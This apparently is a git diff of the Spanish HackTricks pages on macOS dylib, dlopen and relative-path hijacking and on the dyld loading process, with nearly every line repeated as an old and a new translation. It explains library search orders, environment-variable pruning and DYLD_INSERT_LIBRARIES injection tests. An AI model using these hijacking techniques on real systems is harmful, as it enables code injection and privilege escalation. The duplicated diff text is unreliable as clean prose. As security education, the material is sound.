* [`com.apple.security.cs.disable-library-validation`](../../macos-security-protections/macos-dangerous-entitlements.md#com.apple.security.cs.disable-library-validation)
* [`com.apple.private.security.clear-library-validation`](../../macos-security-protections/macos-dangerous-entitlements.md#com.apple.private.security.clear-library-validation)
o el binario **no** debe tener la **bandera de tiempo de ejecución endurecido** o la **bandera de validación de biblioteca**.
o el binario **no debería** tener la **bandera de runtime endurecido** o la **bandera de validación de bibliotecas**.
Puedes verificar si un binario tiene **tiempo de ejecución endurecido** con `codesign --display --verbose <bin>` verificando la bandera de tiempo de ejecución en **`CodeDirectory`** como: **`CodeDirectory v=20500 size=767 flags=0x10000(runtime) hashes=13+7 location=embedded`**
Puedes verificar si un binario tiene **runtime endurecido** con `codesign --display --verbose <bin>` verificando la bandera runtime en **`CodeDirectory`** como: **`CodeDirectory v=20500 size=767 flags=0x10000(runtime) hashes=13+7 location=embedded`**
También puedes cargar una biblioteca si está **firmada con el mismo certificado que el binario**.
Encuentra un ejemplo de cómo (ab)usar esto y verificar las restricciones en:
Encuentra un ejemplo sobre cómo (ab)usar esto y verifica las restricciones en:
{% content-ref url="macos-dyld-hijacking-and-dyld_insert_libraries.md" %}
[macos-dyld-hijacking-and-dyld\_insert\_libraries.md](macos-dyld-hijacking-and-dyld\_insert\_libraries.md)
@ -71,42 +72,42 @@ Encuentra un ejemplo de cómo (ab)usar esto y verificar las restricciones en:
## Secuestro de Dylib
{% hint style="danger" %}
Recuerda que **las restricciones previas de Validación de Bibliotecas también se aplican** para realizar ataques de secuestro de Dylib.
Recuerda que **las restricciones de Validación de Bibliotecas anteriores también se aplican** para realizar ataques de secuestro de Dylib.
{% endhint %}
Al igual que en Windows, en MacOS también puedes **secuestrar dylibs** para hacer que las **aplicaciones** **ejecuten** **código arbitrario** (bueno, en realidad desde un usuario regular esto podría no ser posible ya que es posible que necesites un permiso TCC para escribir dentro de un paquete `.app` y secuestrar una biblioteca).\
Sin embargo, la forma en que las **aplicaciones de MacOS** cargan bibliotecas es **más restringida** que en Windows. Esto implica que los desarrolladores de **malware** aún pueden usar esta técnica para **sigilo**, pero la probabilidad de poder **abusar de esto para escalar privilegios es mucho menor**.
Al igual que en Windows, en MacOS también puedes **secuestro de dylibs** para hacer que **las aplicaciones** **ejecuten** **código** **arbitrario** (bueno, en realidad desde un usuario regular esto podría no ser posible ya que podrías necesitar un permiso de TCC para escribir dentro de un paquete `.app` y secuestrar una biblioteca).\
Sin embargo, la forma en que las **aplicaciones de MacOS** **cargan** bibliotecas es **más restringida** que en Windows. Esto implica que los desarrolladores de **malware** aún pueden usar esta técnica para **ocultarse**, pero la probabilidad de poder **abusar de esto para escalar privilegios es mucho menor**.
En primer lugar, es **más común** encontrar que los **binarios de MacOS indican la ruta completa** a las bibliotecas a cargar. Y en segundo lugar, **MacOS nunca busca** en las carpetas de **$PATH** las bibliotecas.
Primero que nada, es **más común** encontrar que los **binarios de MacOS indican la ruta completa** a las bibliotecas a cargar. Y segundo, **MacOS nunca busca** en las carpetas de **$PATH** para bibliotecas.
La **parte principal** del **código** relacionado con esta funcionalidad está en **`ImageLoader::recursiveLoadLibraries`** en `ImageLoader.cpp`.
La parte **principal** del **código** relacionado con esta funcionalidad está en **`ImageLoader::recursiveLoadLibraries`** en `ImageLoader.cpp`.
Hay **4 comandos de encabezado diferentes** que un binario macho puede usar para cargar bibliotecas:
* El comando **`LC_LOAD_DYLIB`** es el comando común para cargar un dylib.
* El comando **`LC_LOAD_WEAK_DYLIB`** funciona como el anterior, pero si no se encuentra el dylib, la ejecución continúa sin ningún error.
* El comando **`LC_REEXPORT_DYLIB`** lo que hace es hacer de intermediario (o reexportar) los símbolos de una biblioteca diferente.
* El comando **`LC_LOAD_WEAK_DYLIB`** funciona como el anterior, pero si el dylib no se encuentra, la ejecución continúa sin ningún error.
* El comando **`LC_REEXPORT_DYLIB`** proxy (o re-exporta) los símbolos de una biblioteca diferente.
* El comando **`LC_LOAD_UPWARD_DYLIB`** se utiliza cuando dos bibliotecas dependen entre sí (esto se llama una _dependencia ascendente_).
Sin embargo, hay **2 tipos de secuestro de dylib**:
* **Bibliotecas vinculadas débilmente faltantes**: Esto significa que la aplicación intentará cargar una biblioteca que no existe configurada con **LC\_LOAD\_WEAK\_DYLIB**. Entonces, **si un atacante coloca un dylib donde se espera, será cargado**.
* El hecho de que el enlace sea "débil" significa que la aplicación seguirá ejecutándose incluso si la biblioteca no se encuentra.
* El **código relacionado** con esto está en la función `ImageLoaderMachO::doGetDependentLibraries` de `ImageLoaderMachO.cpp donde `lib->required` es `false` solo cuando `LC_LOAD_WEAK_DYLIB` es verdadero.
* **Encuentra bibliotecas vinculadas débilmente** en binarios con (más adelante tienes un ejemplo de cómo crear bibliotecas de secuestro):
* **Bibliotecas vinculadas débiles faltantes**: Esto significa que la aplicación intentará cargar una biblioteca que no existe configurada con **LC\_LOAD\_WEAK\_DYLIB**. Luego, **si un atacante coloca un dylib donde se espera que se cargue**.
* El hecho de que el enlace sea "débil" significa que la aplicación continuará ejecutándose incluso si la biblioteca no se encuentra.
* El **código relacionado** con esto está en la función `ImageLoaderMachO::doGetDependentLibraries` de `ImageLoaderMachO.cpp` donde `lib->required` es solo `false` cuando `LC_LOAD_WEAK_DYLIB` es verdadero.
* **Encuentra bibliotecas vinculadas débiles** en binarios con (tienes más adelante un ejemplo sobre cómo crear bibliotecas de secuestro):
* ```bash
otool -l </ruta/al/bin> | grep LC_LOAD_WEAK_DYLIB -A 5 cmd LC_LOAD_WEAK_DYLIB
otool -l </path/to/bin> | grep LC_LOAD_WEAK_DYLIB -A 5 cmd LC_LOAD_WEAK_DYLIB
cmdsize 56
name /var/tmp/lib/libUtl.1.dylib (offset 24)
time stamp 2 Wed Jun 21 12:23:31 1969
current version 1.0.0
compatibility version 1.0.0
```
* **Configurado con @rpath**: Los binarios Mach-O pueden tener los comandos **`LC_RPATH`** y **`LC_LOAD_DYLIB`**. Basado en los **valores** de esos comandos, las **bibliotecas** se van a **cargar** desde **diferentes directorios**.
* **Configurado con @rpath**: Los binarios Mach-O pueden tener los comandos **`LC_RPATH`** y **`LC_LOAD_DYLIB`**. Basado en los **valores** de esos comandos, las **bibliotecas** se cargarán desde **diferentes directorios**.
* **`LC_RPATH`** contiene las rutas de algunas carpetas utilizadas para cargar bibliotecas por el binario.
* **`LC_LOAD_DYLIB`** contiene la ruta a bibliotecas específicas para cargar. Estas rutas pueden contener **`@rpath`**, que será **reemplazado** por los valores en **`LC_RPATH`**. Si hay varias rutas en **`LC_RPATH`**, todas se utilizarán para buscar la biblioteca a cargar. Ejemplo:
* Si **`LC_LOAD_DYLIB`** contiene `@rpath/library.dylib` y **`LC_RPATH`** contiene `/application/app.app/Contents/Framework/v1/` y `/application/app.app/Contents/Framework/v2/`. Ambas carpetas se utilizarán para cargar `library.dylib`. Si la biblioteca no existe en `[...]/v1/` y el atacante podría colocarla allí para secuestrar la carga de la biblioteca en `[...]/v2/` ya que se sigue el orden de las rutas en **`LC_LOAD_DYLIB`**.
* **Encontrar rutas rpath y bibliotecas** en binarios con: `otool -l </path/to/binary> | grep -E "LC_RPATH|LC_LOAD_DYLIB" -A 5`
* Si **`LC_LOAD_DYLIB`** contiene `@rpath/library.dylib` y **`LC_RPATH`** contiene `/application/app.app/Contents/Framework/v1/` y `/application/app.app/Contents/Framework/v2/`. Ambas carpetas se utilizarán para cargar `library.dylib`**.** Si la biblioteca no existe en `[...]/v1/` y el atacante podría colocarla allí para secuestrar la carga de la biblioteca en `[...]/v2/` ya que se sigue el orden de rutas en **`LC_LOAD_DYLIB`**.
* **Encuentra rutas y bibliotecas rpath** en binarios con: `otool -l </path/to/binary> | grep -E "LC_RPATH|LC_LOAD_DYLIB" -A 5`
{% hint style="info" %}
**`@executable_path`**: Es la **ruta** al directorio que contiene el **archivo ejecutable principal**.
@ -114,10 +115,10 @@ compatibility version 1.0.0
**`@loader_path`**: Es la **ruta** al **directorio** que contiene el **binario Mach-O** que contiene el comando de carga.
* Cuando se usa en un ejecutable, **`@loader_path`** es efectivamente lo **mismo** que **`@executable_path`**.
* Cuando se usa en un **dylib**, **`@loader_path`** proporciona la **ruta** a la **dylib**.
* Cuando se usa en un **dylib**, **`@loader_path`** da la **ruta** al **dylib**.
{% endhint %}
La forma de **escalar privilegios** abusando de esta funcionalidad sería en el raro caso de que una **aplicación** que se ejecuta **como** **root** esté **buscando** alguna **biblioteca en alguna carpeta donde el atacante tenga permisos de escritura.**
La forma de **escalar privilegios** abusando de esta funcionalidad sería en el raro caso de que una **aplicación** que se está ejecutando **por** **root** esté **buscando** alguna **biblioteca en alguna carpeta donde el atacante tiene permisos de escritura.**
{% hint style="success" %}
Un buen **escáner** para encontrar **bibliotecas faltantes** en aplicaciones es [**Dylib Hijack Scanner**](https://objective-see.com/products/dhs.html) o una [**versión CLI**](https://github.com/pandazheng/DylibHijack).\
@ -133,65 +134,65 @@ Un buen **informe con detalles técnicos** sobre esta técnica se puede encontra
## Secuestro de Dlopen
{% hint style="danger" %}
Recuerda que **también se aplican restricciones previas de Validación de Bibliotecas** para realizar ataques de secuestro de Dlopen.
Recuerda que **las restricciones de Validación de Bibliotecas anteriores también se aplican** para realizar ataques de secuestro de Dlopen.
{% endhint %}
Desde **`man dlopen`**:
De **`man dlopen`**:
* Cuando la ruta **no contiene un carácter de barra inclinada** (es decir, es solo un nombre de hoja), **dlopen() buscará**. Si **`$DYLD_LIBRARY_PATH`** estaba configurado al inicio, dyld primero buscará en ese directorio. Luego, si el archivo mach-o que llama o el ejecutable principal especifican un **`LC_RPATH`**, entonces dyld buscará en esos directorios. Luego, si el proceso está **sin restricciones**, dyld buscará en el **directorio de trabajo actual**. Por último, para binarios antiguos, dyld intentará algunos fallbacks. Si **`$DYLD_FALLBACK_LIBRARY_PATH`** estaba configurado al inicio, dyld buscará en esos directorios, de lo contrario, dyld buscará en **`/usr/local/lib/`** (si el proceso es sin restricciones), y luego en **`/usr/lib/`** (esta información fue tomada de **`man dlopen`**).
* Cuando la ruta **no contiene un carácter de barra** (es decir, es solo un nombre de hoja), **dlopen() realizará una búsqueda**. Si **`$DYLD_LIBRARY_PATH`** se estableció al inicio, dyld primero **mirará en ese directorio**. Luego, si el archivo mach-o que llama o el ejecutable principal especifican un **`LC_RPATH`**, entonces dyld **mirará en esos** directorios. A continuación, si el proceso es **sin restricciones**, dyld buscará en el **directorio de trabajo actual**. Por último, para binarios antiguos, dyld intentará algunas alternativas. Si **`$DYLD_FALLBACK_LIBRARY_PATH`** se estableció al inicio, dyld buscará en **esos directorios**, de lo contrario, dyld buscará en **`/usr/local/lib/`** (si el proceso es sin restricciones), y luego en **`/usr/lib/`** (esta información fue tomada de **`man dlopen`**).
1. `$DYLD_LIBRARY_PATH`
2. `LC_RPATH`
3. `CWD`(si está sin restricciones)
3. `CWD`(si no está restringido)
4. `$DYLD_FALLBACK_LIBRARY_PATH`
5. `/usr/local/lib/` (si está sin restricciones)
5. `/usr/local/lib/` (si no está restringido)
6. `/usr/lib/`
{% hint style="danger" %}
Si no hay barras inclinadas en el nombre, habría 2 formas de hacer un secuestro:
Si no hay barras en el nombre, habría 2 formas de hacer un secuestro:
* Si algún **`LC_RPATH`** es **editable** (pero la firma se verifica, por lo que también necesitas que el binario esté sin restricciones)
* Si el binario es **sin restricciones** y luego es posible cargar algo desde el CWD (o abusando de una de las variables de entorno mencionadas)
* Si algún **`LC_RPATH`** es **escribible** (pero se verifica la firma, así que para esto también necesitas que el binario no esté restringido)
* Si el binario es **sin restricciones** y luego es posible cargar algo desde el CWD (o abusar de una de las variables de entorno mencionadas)
{% endhint %}
* Cuando la ruta **parece ser una ruta de framework** (por ejemplo, `/stuff/foo.framework/foo`), si **`$DYLD_FRAMEWORK_PATH`** estaba configurado al inicio, dyld primero buscará en ese directorio la **ruta parcial del framework** (por ejemplo, `foo.framework/foo`). Luego, dyld intentará la **ruta proporcionada tal cual** (usando el directorio de trabajo actual para rutas relativas). Por último, para binarios antiguos, dyld intentará algunos fallbacks. Si **`$DYLD_FALLBACK_FRAMEWORK_PATH`** estaba configurado al inicio, dyld buscará en esos directorios. De lo contrario, buscará en **`/Library/Frameworks`** (en macOS si el proceso es sin restricciones), luego en **`/System/Library/Frameworks`**.
* Cuando la ruta **parece un marco** (por ejemplo, `/stuff/foo.framework/foo`), si **`$DYLD_FRAMEWORK_PATH`** se estableció al inicio, dyld primero buscará en ese directorio la **ruta parcial del marco** (por ejemplo, `foo.framework/foo`). Luego, dyld intentará la **ruta proporcionada tal cual** (usando el directorio de trabajo actual para rutas relativas). Por último, para binarios antiguos, dyld intentará algunas alternativas. Si **`$DYLD_FALLBACK_FRAMEWORK_PATH`** se estableció al inicio, dyld buscará en esos directorios. De lo contrario, buscará en **`/Library/Frameworks`** (en macOS si el proceso es sin restricciones), luego en **`/System/Library/Frameworks`**.
1. `$DYLD_FRAMEWORK_PATH`
2. ruta proporcionada (usando el directorio de trabajo actual para rutas relativas si está sin restricciones)
2. ruta proporcionada (usando el directorio de trabajo actual para rutas relativas si no está restringido)
3. `$DYLD_FALLBACK_FRAMEWORK_PATH`
4. `/Library/Frameworks` (si está sin restricciones)
4. `/Library/Frameworks` (si no está restringido)
5. `/System/Library/Frameworks`
{% hint style="danger" %}
Si es una ruta de framework, la forma de secuestrarla sería:
Si es una ruta de marco, la forma de secuestrarlo sería:
* Si el proceso es **sin restricciones**, abusando de la **ruta relativa desde CWD** de las variables de entorno mencionadas (aunque no se menciona en la documentación si el proceso está restringido, las variables de entorno DYLD\_\* se eliminan)
* Si el proceso es **sin restricciones**, abusando de la **ruta relativa desde CWD** las variables de entorno mencionadas (incluso si no se dice en la documentación si el proceso está restringido, las variables de entorno DYLD\_\* son eliminadas)
{% endhint %}
* Cuando la ruta **contiene una barra inclinada pero no es una ruta de framework** (es decir, una ruta completa o parcial a una dylib), dlopen() primero buscará (si está configurado) en **`$DYLD_LIBRARY_PATH`** (con la parte de hoja de la ruta). Luego, dyld **intenta la ruta proporcionada** (usando el directorio de trabajo actual para rutas relativas (pero solo para procesos sin restricciones)). Por último, para binarios antiguos, dyld intentará fallbacks. Si **`$DYLD_FALLBACK_LIBRARY_PATH`** estaba configurado al inicio, dyld buscará en esos directorios, de lo contrario, dyld buscará en **`/usr/local/lib/`** (si el proceso es sin restricciones), y luego en **`/usr/lib/`**.
* Cuando la ruta **contiene una barra pero no es una ruta de marco** (es decir, una ruta completa o una ruta parcial a un dylib), dlopen() primero busca en (si está establecido) en **`$DYLD_LIBRARY_PATH`** (con la parte de hoja de la ruta). Luego, dyld **intenta la ruta proporcionada** (usando el directorio de trabajo actual para rutas relativas (pero solo para procesos sin restricciones)). Por último, para binarios más antiguos, dyld intentará alternativas. Si **`$DYLD_FALLBACK_LIBRARY_PATH`** se estableció al inicio, dyld buscará en esos directorios, de lo contrario, dyld buscará en **`/usr/local/lib/`** (si el proceso es sin restricciones), y luego en **`/usr/lib/`**.
1. `$DYLD_LIBRARY_PATH`
2. ruta proporcionada (usando el directorio de trabajo actual para rutas relativas si está sin restricciones)
2. ruta proporcionada (usando el directorio de trabajo actual para rutas relativas si no está restringido)
3. `$DYLD_FALLBACK_LIBRARY_PATH`
4. `/usr/local/lib/` (si está sin restricciones)
4. `/usr/local/lib/` (si no está restringido)
5. `/usr/lib/`
{% hint style="danger" %}
Si hay barras inclinadas en el nombre y no es un framework, la forma de secuestrarlo sería:
Si hay barras en el nombre y no es un marco, la forma de secuestrarlo sería:
* Si el binario es **sin restricciones** y luego es posible cargar algo desde el CWD o `/usr/local/lib` (o abusando de una de las variables de entorno mencionadas)
* Si el binario es **sin restricciones** y luego es posible cargar algo desde el CWD o `/usr/local/lib` (o abusar de una de las variables de entorno mencionadas)
{% endhint %}
{% hint style="info" %}
Nota: No hay archivos de configuración para **controlar la búsqueda de dlopen**.
Nota: No hay **archivos de configuración** para **controlar la búsqueda de dlopen**.
Nota: Si el ejecutable principal es un binario **set\[ug]id o firmado con permisos**, entonces **todas las variables de entorno se ignoran**, y solo se puede usar una ruta completa ([verificar restricciones de DYLD\_INSERT\_LIBRARIES](macos-dyld-hijacking-and-dyld\_insert\_libraries.md#check-dyld\_insert\_librery-restrictions) para obtener información más detallada)
Nota: Si el ejecutable principal es un **binario set\[ug]id o está firmado con derechos**, entonces **todas las variables de entorno son ignoradas**, y solo se puede usar una ruta completa ([ver restricciones de DYLD\_INSERT\_LIBRARIES](macos-dyld-hijacking-and-dyld\_insert\_libraries.md#check-dyld\_insert\_librery-restrictions) para más información detallada)
Nota: Las plataformas de Apple utilizan archivos "universales" para combinar bibliotecas de 32 bits y 64 bits. Esto significa que no hay **rutas de búsqueda separadas para 32 bits y 64 bits**.
Nota: Las plataformas de Apple utilizan archivos "universales" para combinar bibliotecas de 32 bits y 64 bits. Esto significa que no hay **rutas de búsqueda separadas de 32 bits y 64 bits**.
Nota: En las plataformas de Apple, la mayoría de las dylibs del sistema operativo se **combinan en la caché de dyld** y no existen en disco. Por lo tanto, llamar a **`stat()`** para verificar si una dylib del sistema operativo existe **no funcionará**. Sin embargo, **`dlopen_preflight()`** utiliza los mismos pasos que **`dlopen()`** para encontrar un archivo mach-o compatible.
Nota: En las plataformas de Apple, la mayoría de los dylibs del sistema están **combinados en la caché de dyld** y no existen en el disco. Por lo tanto, llamar a **`stat()`** para preflight si un dylib del sistema existe **no funcionará**. Sin embargo, **`dlopen_preflight()`** utiliza los mismos pasos que **`dlopen()`** para encontrar un archivo mach-o compatible.
{% endhint %}
**Verificar rutas**
Veamos todas las opciones con el siguiente código:
Vamos a verificar todas las opciones con el siguiente código:
```c
// gcc dlopentest.c -o dlopentest -Wl,-rpath,/tmp/test
#include <dlfcn.h>
@ -234,27 +235,27 @@ fprintf(stderr, "Error loading: %s\n\n\n", dlerror());
return 0;
}
```
Si lo compilas y lo ejecutas, puedes ver **dónde se buscó sin éxito cada biblioteca**. Además, podrías **filtrar los registros del sistema de archivos**:
Si lo compilas y lo ejecutas, puedes ver **dónde se buscó cada biblioteca sin éxito**. También podrías **filtrar los registros del sistema de archivos**:
```bash
sudo fs_usage | grep "dlopentest"
```
## Secuestro de Ruta Relativa
Si un **binario/aplicación privilegiado** (como un SUID o algún binario con permisos poderosos) está **cargando una biblioteca de ruta relativa** (por ejemplo, usando `@executable_path` o `@loader_path`) y tiene la **Validación de Biblioteca deshabilitada**, podría ser posible mover el binario a una ubicación donde el atacante pudiera **modificar la biblioteca cargada de ruta relativa**, y abusar de ella para inyectar código en el proceso.
Si un **binario/app privilegiado** (como un SUID o algún binario con privilegios poderosos) está **cargando una biblioteca de ruta relativa** (por ejemplo, usando `@executable_path` o `@loader_path`) y tiene **la Validación de Biblioteca deshabilitada**, podría ser posible mover el binario a una ubicación donde el atacante podría **modificar la biblioteca de ruta relativa cargada**, y abusar de ella para inyectar código en el proceso.
## Podar variables de entorno `DYLD_*` y `LD_LIBRARY_PATH`
## Podar las variables de entorno `DYLD_*` y `LD_LIBRARY_PATH`
En el archivo `dyld-dyld-832.7.1/src/dyld2.cpp` es posible encontrar la función **`pruneEnvironmentVariables`**, la cual eliminará cualquier variable de entorno que **empiece con `DYLD_`** y **`LD_LIBRARY_PATH=`**.
En el archivo `dyld-dyld-832.7.1/src/dyld2.cpp` es posible encontrar la función **`pruneEnvironmentVariables`**, que eliminará cualquier variable de entorno que **comience con `DYLD_`** y **`LD_LIBRARY_PATH=`**.
También establecerá específicamente a **nulo** las variables de entorno **`DYLD_FALLBACK_FRAMEWORK_PATH`** y **`DYLD_FALLBACK_LIBRARY_PATH`** para binarios **suid** y **sgid**.
También establecerá en **nulo** específicamente las variables de entorno **`DYLD_FALLBACK_FRAMEWORK_PATH`** y **`DYLD_FALLBACK_LIBRARY_PATH`** para binarios **suid** y **sgid**.
Esta función es llamada desde la función **`_main`** del mismo archivo si se apunta a OSX de la siguiente manera:
Esta función se llama desde la función **`_main`** del mismo archivo si se dirige a OSX de esta manera:
```cpp
#if TARGET_OS_OSX
if ( !gLinkContext.allowEnvVarsPrint && !gLinkContext.allowEnvVarsPath && !gLinkContext.allowEnvVarsSharedCache ) {
pruneEnvironmentVariables(envp, &apple);
```
y esas banderas booleanas se establecen en el mismo archivo en el código:
y esos flags booleanos se establecen en el mismo archivo en el código:
```cpp
#if TARGET_OS_OSX
// support chrooting from old kernel
@ -287,7 +288,7 @@ gLinkContext.allowInterposing = true;
```
Lo que básicamente significa que si el binario es **suid** o **sgid**, o tiene un segmento **RESTRICT** en los encabezados o fue firmado con la bandera **CS\_RESTRICT**, entonces **`!gLinkContext.allowEnvVarsPrint && !gLinkContext.allowEnvVarsPath && !gLinkContext.allowEnvVarsSharedCache`** es verdadero y las variables de entorno son eliminadas.
Ten en cuenta que si CS\_REQUIRE\_LV es verdadero, entonces las variables no serán eliminadas, pero la validación de la biblioteca verificará que estén utilizando el mismo certificado que el binario original.
Tenga en cuenta que si CS\_REQUIRE\_LV es verdadero, entonces las variables no serán eliminadas, pero la validación de la biblioteca verificará que estén utilizando el mismo certificado que el binario original.
## Verificar Restricciones
@ -307,9 +308,9 @@ sudo chmod -s hello
gcc -sectcreate __RESTRICT __restrict /dev/null hello.c -o hello-restrict
DYLD_INSERT_LIBRARIES=inject.dylib ./hello-restrict
```
### Entorno de ejecución reforzado
### Runtime endurecido
Cree un nuevo certificado en el Llavero y úselo para firmar el binario:
Crea un nuevo certificado en el llavero y úsalo para firmar el binario:
{% code overflow="wrap" %}
```bash
@ -334,30 +335,31 @@ DYLD_INSERT_LIBRARIES=inject.dylib ./hello-signed # Won't work
{% endcode %}
{% hint style="danger" %}
Ten en cuenta que incluso si hay binarios firmados con la bandera **`0x0(none)`**, pueden obtener la bandera **`CS_RESTRICT`** dinámicamente al ejecutarse y, por lo tanto, esta técnica no funcionará en ellos.
Tenga en cuenta que incluso si hay binarios firmados con las banderas **`0x0(none)`**, pueden obtener la bandera **`CS_RESTRICT`** dinámicamente al ejecutarse y, por lo tanto, esta técnica no funcionará en ellos.
Puedes verificar si un proc tiene esta bandera con (obtén [**csops aquí**](https://github.com/axelexic/CSOps)):
Puede verificar si un proc tiene esta bandera con (consulte [**csops aquí**](https://github.com/axelexic/CSOps)):
```bash
csops -status <pid>
```
y luego verificar si la bandera 0x800 está habilitada.
y luego verifica si la bandera 0x800 está habilitada.
{% endhint %}
## Referencias
* [https://theevilbit.github.io/posts/dyld\_insert\_libraries\_dylib\_injection\_in\_macos\_osx\_deep\_dive/](https://theevilbit.github.io/posts/dyld\_insert\_libraries\_dylib\_injection\_in\_macos\_osx\_deep\_dive/)
* [**\*OS Internals, Volumen I: Modo Usuario. Por Jonathan Levin**](https://www.amazon.com/MacOS-iOS-Internals-User-Mode/dp/099105556X)
* [**\*OS Internals, Volume I: User Mode. Por Jonathan Levin**](https://www.amazon.com/MacOS-iOS-Internals-User-Mode/dp/099105556X)
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
{% endhint %}

View file

@ -1,34 +1,35 @@
# Proceso Dyld de macOS
# macOS Dyld Process
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
## Información Básica
El verdadero **punto de entrada** de un binario Mach-o es el enlazador dinámico, definido en `LC_LOAD_DYLINKER`, que generalmente es `/usr/lib/dyld`.
Este enlazador necesitará localizar todas las bibliotecas ejecutables, mapearlas en memoria y enlazar todas las bibliotecas no perezosas. Solo después de este proceso se ejecutará el punto de entrada del binario.
Por supuesto, **`dyld`** no tiene dependencias (utiliza llamadas al sistema y fragmentos de libSystem).
{% hint style="danger" %}
Si este enlazador contiene alguna vulnerabilidad, al ejecutarse antes de ejecutar cualquier binario (incluso los altamente privilegiados), sería posible **escalar privilegios**.
{% endhint %}
### Flujo
## Basic Information
Dyld será cargado por **`dyldboostrap::start`**, que también cargará cosas como el **canario de pila**. Esto se debe a que esta función recibirá en su argumento **`apple`** este y otros **valores** **sensibles**.
El verdadero **entrypoint** de un binario Mach-o es el enlazador dinámico, definido en `LC_LOAD_DYLINKER`, que generalmente es `/usr/lib/dyld`.
Este enlazador necesitará localizar todas las bibliotecas ejecutables, mapeándolas en memoria y enlazando todas las bibliotecas no perezosas. Solo después de este proceso, se ejecutará el punto de entrada del binario.
Por supuesto, **`dyld`** no tiene dependencias (utiliza syscalls y extractos de libSystem).
{% hint style="danger" %}
Si este enlazador contiene alguna vulnerabilidad, ya que se ejecuta antes de ejecutar cualquier binario (incluso los altamente privilegiados), sería posible **escalar privilegios**.
{% endhint %}
### Flow
Dyld será cargado por **`dyldboostrap::start`**, que también cargará cosas como el **stack canary**. Esto se debe a que esta función recibirá en su vector de argumentos **`apple`** este y otros **valores** **sensibles**.
**`dyls::_main()`** es el punto de entrada de dyld y su primera tarea es ejecutar `configureProcessRestrictions()`, que generalmente restringe las variables de entorno **`DYLD_*`** explicadas en:
@ -36,37 +37,37 @@ Dyld será cargado por **`dyldboostrap::start`**, que también cargará cosas co
[.](./)
{% endcontent-ref %}
Luego, mapea la caché compartida de dyld que preenlaza todas las bibliotecas del sistema importantes y luego mapea las bibliotecas en las que depende el binario y continúa de forma recursiva hasta que se cargan todas las bibliotecas necesarias. Por lo tanto:
Luego, mapea la caché compartida de dyld que preenlaza todas las bibliotecas importantes del sistema y luego mapea las bibliotecas de las que depende el binario y continúa recursivamente hasta que se carguen todas las bibliotecas necesarias. Por lo tanto:
1. comienza a cargar bibliotecas insertadas con `DYLD_INSERT_LIBRARIES` (si se permite)
2. Luego las compartidas en caché
3. Luego las importadas
4. Luego continúa importando bibliotecas de forma recursiva
1. &#x20;Luego continúa importando bibliotecas recursivamente
